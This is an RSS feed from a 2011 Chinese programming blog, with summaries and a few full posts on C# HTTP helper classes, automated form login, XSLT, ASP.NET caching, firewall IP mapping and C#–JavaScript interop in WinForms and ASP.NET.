GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/10/08/157748.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/157748.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/10/08/157748.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/157748.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/157748.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 本文案例中，我们假设有一家ISP提供园区Internet接入服务，为了方便管理，该ISP分配给园区用户的IP地址都是私网IP，通过该私网IP用户无法向外发布信息。但是，部分用户要求建立自己的WWW服务器对外发布信息。<br>我们可以在防火墙的外部网卡上绑定多个合法IP地址，然后通过ip映射使发给其中某一个IP地址的包转发至内部某一用户的WWW服务器上，然后再将该内部WWW服务器响应包伪装成该合法IP发出的包。&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/10/08/157748.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/157748.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-10-08 09:02 <a href="http://www.cppblog.com/gezidan/archive/2011/10/08/157748.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>细数那些运行在微软平台上的NoSQL数据库</title><link>http://www.cppblog.com/gezidan/archive/2011/09/30/157200.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Fri, 30 Sep 2011 01:42:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/09/30/157200.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/157200.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/09/30/157200.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/157200.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/157200.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 从可查询的分布式解决方案，如MongoDB，到简单的分布式Key/Value存储解决方案，如Cassandra。此外，还有Riak，Tokyo Cabinet，Voldemort，CouchDB和Redis。但目前仅有少量的NoSQL项目支持在Windows平台上运行，如果要说到生产应用那就更少了。&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/09/30/157200.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/157200.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-09-30 09:42 <a href="http://www.cppblog.com/gezidan/archive/2011/09/30/157200.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>谈谈对于企业级系统架构的理解</title><link>http://www.cppblog.com/gezidan/archive/2011/09/30/157195.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Fri, 30 Sep 2011 01:26:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/09/30/157195.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/157195.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/09/30/157195.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/157195.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/157195.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要:         在我们刚开始学习架构的时候，首先会想到分层的概念，分层架构比较经典的是三层架构，那么，什么是三层架构呢？它包括表现层，业务层，数据访问层；而对于一个新手来说，从抽象意义上的三层架构，逻辑上就划分为三个层。&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/09/30/157195.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/157195.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-09-30 09:26 <a href="http://www.cppblog.com/gezidan/archive/2011/09/30/157195.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>C# HttpWebRequest 通用类(二)</title><link>http://www.cppblog.com/gezidan/archive/2011/09/28/157079.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Wed, 28 Sep 2011 05:52:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/09/28/157079.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/157079.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/09/28/157079.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/157079.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/157079.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: using System;<br>using System.Collections.Generic;<br>using System.IO;<br>using System.Net;<br>using System.Text;<br><br>namespace HttpWeb<br>{<br>    /// <summary> <br>    ///  Http操作类 <br>    /// </summary> &nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/09/28/157079.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/157079.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-09-28 13:52 <a href="http://www.cppblog.com/gezidan/archive/2011/09/28/157079.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>C# HttpWebRequest 通用类(一)</title><link>http://www.cppblog.com/gezidan/archive/2011/09/28/157078.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Wed, 28 Sep 2011 05:51:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/09/28/157078.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/157078.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/09/28/157078.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/157078.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/157078.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: /*<br><br>使用方法：<br>MyHttp loHttp = new MyHttp();<br>string lcHtml = "";<br><br>loHttp.HandleCookies = true;//操作Cookies<br>loHttp.Method = "GET";<br>lcHtml = loHttp.GetUrl("http://signin.ebay.com.cn/ws2/eBayISAPI.dll?SignIn&ssPageName=h:h:sout:CN");<br><br>loHttp.AddPostKey("Key", "Value");<br>loHttp.Referer = "http://signin.ebay.com.cn/ws2/eBayISAPI.dll?SignIn&ssPageName=h:h:sout:CN";<br><br>loHttp.Method = "POST";<br>lcHtml = loHttp.GetUrl("http://signin.ebay.com.cn/ws2/eBayISAPI.&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/09/28/157078.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/157078.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-09-28 13:51 <a href="http://www.cppblog.com/gezidan/archive/2011/09/28/157078.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>C#三种模拟自动登录和提交POST信息的实现方法</title><link>http://www.cppblog.com/gezidan/archive/2011/09/28/157077.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Wed, 28 Sep 2011 05:40:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/09/28/157077.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/157077.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/09/28/157077.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/157077.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/157077.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要:        网页自动登录（提交Post内容）的用途很多，如验证身份、程序升级、网络投票等，以下是用C#实现的方法。<br>       网页自动登录和提交POST信息的核心就是分析网页的源代码（HTML），在C#中，可以用来提取网页HTML的组件比较多，常用的用WebBrowser、WebClient、HttpWebRequest这三个。以下就分别用这三种方法来实现：&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/09/28/157077.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/157077.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-09-28 13:40 <a href="http://www.cppblog.com/gezidan/archive/2011/09/28/157077.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ASP.NET 也可以做得很好 2.XSLT初识 在ASP.NET中使用XSLT</title><link>http://www.cppblog.com/gezidan/archive/2011/09/28/157055.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Wed, 28 Sep 2011 02:33:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/09/28/157055.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/157055.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/09/28/157055.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/157055.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/157055.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 大家说我说的跟.net一点关系都没有,可是第一篇我也说了啊，仅仅是一个HELLO的例子啊。现在哪个人不忙啊。只能一点一点的写了。。<br>好了，废话少说，我们先看看实际的情况，然后根据情况来写一个小小的例子吧，这次有Demo下载喽。。。<br>现实项目中的情况：&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/09/28/157055.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/157055.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-09-28 10:33 <a href="http://www.cppblog.com/gezidan/archive/2011/09/28/157055.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>SLT 入门－－实际应用</title><link>http://www.cppblog.com/gezidan/archive/2011/09/28/157053.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Wed, 28 Sep 2011 02:27:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/09/28/157053.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/157053.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/09/28/157053.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/157053.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/157053.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: <add key="Spider" value="Googlebot|Baiduspider|Yahoo! Slurp|YodaoBot|msnbot"/><br>把上面的代码加入web.config文件的appSettings节点中，别问为什么...<br>为Request写个扩展:&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/09/28/157053.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/157053.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-09-28 10:27 <a href="http://www.cppblog.com/gezidan/archive/2011/09/28/157053.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ASP.NET 也可以做得很好 1.XSLT初识 一个HELLO例子</title><link>http://www.cppblog.com/gezidan/archive/2011/09/28/157052.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Wed, 28 Sep 2011 02:24:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/09/28/157052.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/157052.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/09/28/157052.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/157052.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/157052.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: XSL 指扩展样式表语言（EXtensible Stylesheet Language）<br>万维网联盟开始发展 XSL 的起因是由于对基于 XML 的样式表语言的需求。<br>XSLT 指 XSL 转换。XSLT 将 XML 文档转换为其他文档，比如 XHTML<br>概念不多讲,这里附上W3C的网址 ，希望您一定要去看看！<br>老规矩，先写出个能运行的程序再说。<br>既然XSLT是将XML文档转换为其它文档，那么我们就先建立一个XML文档吧。（名为：HelloHtml.xml）&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/09/28/157052.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/157052.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-09-28 10:24 <a href="http://www.cppblog.com/gezidan/archive/2011/09/28/157052.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ASP.NET性能优化之构建自定义文件缓存</title><link>http://www.cppblog.com/gezidan/archive/2011/09/28/157045.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Wed, 28 Sep 2011 01:43:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/09/28/157045.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/157045.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/09/28/157045.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/157045.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/157045.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: ASP.NET的输出缓存（即静态HTML）在.NET4.0前一直是基于内存的。这意味着如果我们的站点含有大量的缓存，则很容易消耗掉本机内存。现在，借助于.NET4.0中的OutputCacheProvider，我们可以有多种选择创建自己的缓存。如，我们可以把HTML输出缓存存储到memcached分布式集群服务器，或者MongoDB中（一种常用的面向文档数据库，不妨阅读本篇http://msdn.microsoft.com/zh-cn/magazine/gg650661.aspx）。当然，我们也可以把缓存作为文件存储到硬盘上，考虑到可扩展性，这是一种最廉价的做法，本文就是介绍如果构建自定义文件缓存。&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/09/28/157045.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/157045.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-09-28 09:43 <a href="http://www.cppblog.com/gezidan/archive/2011/09/28/157045.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>WEB快速开发工具WebMatrix 2</title><link>http://www.cppblog.com/gezidan/archive/2011/09/28/157043.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Wed, 28 Sep 2011 01:35:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/09/28/157043.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/157043.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/09/28/157043.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/157043.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/157043.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: WebMatrix是由微软的Web快速开发工具，它包含了构建网站所需要的一切元素。用上5分钟你的代码就能从无到有。&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/09/28/157043.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/157043.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-09-28 09:35 <a href="http://www.cppblog.com/gezidan/archive/2011/09/28/157043.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>裸眼3D搭配1.2GHz双核 HTC EVO 3D</title><link>http://www.cppblog.com/gezidan/archive/2011/09/28/157039.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Wed, 28 Sep 2011 01:26:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/09/28/157039.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/157039.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/09/28/157039.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/157039.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/157039.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: HTC作为谷歌Android系统最忠实的支持者之一，为我们带来了包括G1、Desire、Desire HD等非常好用的GPhone，成功的将Windows Mobile打入冷宫，HTC也凭借Android，成为了全球最出色的手机制造商之一。&nbsp;&nbsp;<a href='http://www.cppblog.com/gezidan/archive/2011/09/28/157039.html'>阅读全文</a><img src ="http://www.cppblog.com/gezidan/aggbug/157039.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-09-28 09:26 <a href="http://www.cppblog.com/gezidan/archive/2011/09/28/157039.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>C#winform程序如何与js交互</title><link>http://www.cppblog.com/gezidan/archive/2011/09/27/156975.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Tue, 27 Sep 2011 08:43:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/09/27/156975.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/156975.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/09/27/156975.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/156975.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/156975.html</trackback:ping><description><![CDATA[<span class="Apple-style-span" style="font-family: 'ms shell dlg'; line-height: 28px; background-color: #ffffff; ">
<p style="word-wrap: break-word; ">第一：</p>
<p style="word-wrap: break-word; ">JS代码</p>
<p style="word-wrap: break-word; "><code>&lt;script language=&#8221;javascript&#8221;&gt;<br style="clear: both; " />
function ShopXG(infor)<br style="clear: both; " />
{<br style="clear: both; " />
alert(&#8216;我要开网店、携购独立网店系统，模板最全，最专业的系统！&#8217;);<br style="clear: both; " />
return;<br style="clear: both; " />
}<br style="clear: both; " />
&lt;/script&gt;</code></p>
C#代码调用如下：
<p style="word-wrap: break-word; ">　　using System.Security.Permissions;</p>
<p style="word-wrap: break-word; ">　　注意： 类定义前需要加上下面两行，否则调用失败！</p>
<p style="word-wrap: break-word; ">　　[PermissionSet(SecurityAction.Demand, Name = "FullTrust")]</p>
<p style="word-wrap: break-word; ">　　[System.Runtime.InteropServices.ComVisibleAttribute(true)]</p>
<p style="word-wrap: break-word; ">　　调用的函数：</p>
<p style="word-wrap: break-word; ">　　webBrowser1.Document.InvokeScript("ShopXG ", new string[] {&#8216;ssss&#8217;});</p>
<p style="word-wrap: break-word; ">第二：</p>
<p style="word-wrap: break-word; ">JS中调用c#函数示例</p>
C#函数如下：
<p style="word-wrap: break-word; "><code>public void ShowMessage(string message)<br style="clear: both; " />
{<br style="clear: both; " />
MessageBox.Show(&#8220;免费开网店，携购独立网店系统诚邀您的加盟！&#8221;);<br style="clear: both; " />
}</code></p>
JS里的调用方法：
<p style="word-wrap: break-word; "><code>&lt;script language=&#8221;javascript&#8221;&gt;<br style="clear: both; " />
function InvokeFunc()<br style="clear: both; " />
{<br style="clear: both; " />
window.external.ShowMessage(&#8216;呵呵&#8217;);<br style="clear: both; " />
}<br style="clear: both; " />
&lt;/script&gt;</code></p>
</span><br />
<br />
<div class="MySignatureBoard" style="padding-top: 10px; padding-right: 10px; padding-bottom: 10px; padding-left: 10px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; font-size: 14px; line-height: 24px; min-height: 31px; overflow-x: hidden; overflow-y: hidden; word-wrap: break-word; word-break: break-all; "> <img alt="Logo" src="http://www.cppblog.com/images/cppblog_com/gezidan/17469/r_Rixu_net(245_100).png" style="padding-top: 10px; padding-right: 10px; padding-bottom: 10px; padding-left: 10px;border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; margin-left: 10px; margin-right: 10px; margin-top: 10px; margin-bottom: 10px; float: left; width: 245px; height: 100px; " />
<div id="MySignature" style="padding-top: 10px; padding-right: 10px; padding-bottom: 10px; padding-left: 255px; margin-top: 10px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-width: 2px; border-right-width: 2px; border-bottom-width: 2px; border-left-width: 2px; border-color: #4371a6; background-image: url(http://www.xxx.com/bk.png); background-attachment: scroll; background-origin: initial; background-clip: initial; background-color: transparent; background-position: 15px 50%; background-repeat: no-repeat no-repeat; "> <span style="color: #333333; line-height: 21px; ">作者：<a href="http://www.rixu.net" style="text-decoration: none; color: #000000; line-height: 24px; cursor: pointer; outline-style: none; outline-width: initial; outline-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-bottom-width: 1px; border-bottom-style: dotted; border-bottom-color: #333333; " target="_blank">Gezidan</a></span>
<div style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; line-height: 25px; "> <span style="color: #333333; line-height: 21px; ">出处：<a href="http://www.rixu.net" style="text-decoration: none; color: #000000; line-height: 24px; cursor: pointer; outline-style: none; outline-width: initial; outline-color: initial; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-bottom-width: 1px; border-bottom-style: dotted; border-bottom-color: #333333; " target="_blank">http://www.rixu.net</a>　　　　</span></div>
<div style="padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; line-height: 25px; "> <span style="color: #333333; line-height: 21px; ">本文版权归作者和博客园共有，欢迎转载，但未经作者同意必须保留此段声明，且在文章页面明显位置给出原文连接，否则保留追究法律责任的权利。</span></div>
</div>
</div>
本文转载自&nbsp;http://www.cnblogs.com/wuhuisheng/archive/2011/04/18/2020013.html
<img src ="http://www.cppblog.com/gezidan/aggbug/156975.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/gezidan/" target="_blank">日需博客</a> 2011-09-27 16:43 <a href="http://www.cppblog.com/gezidan/archive/2011/09/27/156975.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>c#和javascript交互</title><link>http://www.cppblog.com/gezidan/archive/2011/09/27/156974.html</link><dc:creator>日需博客</dc:creator><author>日需博客</author><pubDate>Tue, 27 Sep 2011 08:41:00 GMT</pubDate><guid>http://www.cppblog.com/gezidan/archive/2011/09/27/156974.html</guid><wfw:comment>http://www.cppblog.com/gezidan/comments/156974.html</wfw:comment><comments>http://www.cppblog.com/gezidan/archive/2011/09/27/156974.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/gezidan/comments/commentRss/156974.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/gezidan/services/trackbacks/156974.html</trackback:ping><description><![CDATA[<span class="Apple-style-span" style="color: #333333; font-family: verdana, ����, Arial; background-color: #ffffff; ">在asp.net开发中，经常会用到后台和前台的交互，就此总结了一点c#和javascript相互操作的方法&nbsp;<br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " />
<span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: #ff0000; "><span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; font-size: 14pt; "><span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: #000000; font-size: 14pt; ">
<h3 style="margin-top: 5px; margin-right: 0px; margin-bottom: 5px; margin-left: 0px; padding-top: 5px; padding-right: 0px; padding-bottom: 5px; padding-left: 5px; font-weight: bold; color: #ffffff; background-color: #668b8b; font-size: large; "><span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: #000000; font-size: 14pt; ">1.在后台c#代码中调用jacascript的方法</span></h3>
<br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " />
</span></span></span>javascript代码：&nbsp;<br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " />
<div class="wp_codebox" style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 5px; padding-right: 5px; padding-bottom: 5px; padding-left: 5px; background-image: initial; background-attachment: initial; background-origin: initial; background-clip: initial; background-color: #eeefe6; border-left-style: solid; border-left-width: 3px; border-left-color: #4da9c2; border-top-style: dashed; border-top-width: 1px; border-top-color: #bbbbbb; border-right-style: dashed; border-right-width: 1px; border-right-color: #bbbbbb; border-bottom-style: dashed; border-bottom-width: 1px; border-bottom-color: #bbbbbb; font-family: Verdana, Helvetica, 微软雅黑, Arial, 宋体, sans-serif; background-position: initial initial; background-repeat: initial initial; ">
<pre style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "><span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: blue; ">&lt;</span><span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: #a31515; ">script </span><span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: red; ">type</span><span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: blue; ">="text/javascript" </span><span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: red; ">language</span><span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: blue; ">="javascript"&gt;
function </span>test()
{
alert(<span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: #a31515; ">"oec2003"</span>);
<span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: blue; ">return false</span>;
}
<span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: blue; ">&lt;/</span><span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: #a31515; ">script</span><span style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; line-height: 1.5; color: blue; ">&gt;</span></pre>
</div>
<br style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; " />
